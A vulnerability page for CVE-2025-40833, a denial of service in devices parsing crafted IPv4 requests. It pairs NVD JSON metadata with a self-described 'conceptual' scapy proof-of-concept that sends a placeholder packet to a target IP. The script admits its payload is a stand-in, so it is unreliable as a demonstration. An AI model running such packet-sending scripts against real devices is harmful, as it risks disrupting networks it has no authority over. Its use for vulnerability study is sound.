CVE-2025-40833

#!/usr/bin/env python3 # PoC for CVE-2025-40833 (Conceptual) # This script sends a crafted IPv4 packet to trigger the potential DoS. # Note: The specific malformed packet structure depends on the exact implementation details of the target device. import sys from scapy.all import * def send_malformed_packet(target_ip): # Constructing a raw IPv4 packet with potentially malicious payload options # In a real scenario, specific flags or options would be set based on the vulnerability analysis. # Example: Sending a packet with invalid IP options or specific padding custom_payload = b"\x00" * 64 # Placeholder for the triggering pattern packet = IP( dst=target_ip, ihl=5, # Internet Header Length tos=0, id=12345, flags="DF", frag=0, ttl=64, proto=255, # Using a non-standard protocol to potentially trigger parsing issues chksum=None ) / Raw(load=custom_payload) print(f"[*] Sending crafted packet to {target_ip}...") send(packet, verbose=0) print("[+] Packet sent.") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python3 {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] send_malformed_packet(target)

{"cve": {"id": "CVE-2025-40833", "sourceIdentifier": "[email protected]", "published": "2026-05-12T10:16:41.883", "lastModified": "2026-05-12T14:19:41.400", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The affected devices contain a null pointer dereference vulnerability while processing specially crafted IPv4 requests. This could allow an attacker to cause denial of service condition. A manual restart is required to recover the system."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-392349.html", "source": "[email protected]"}]}}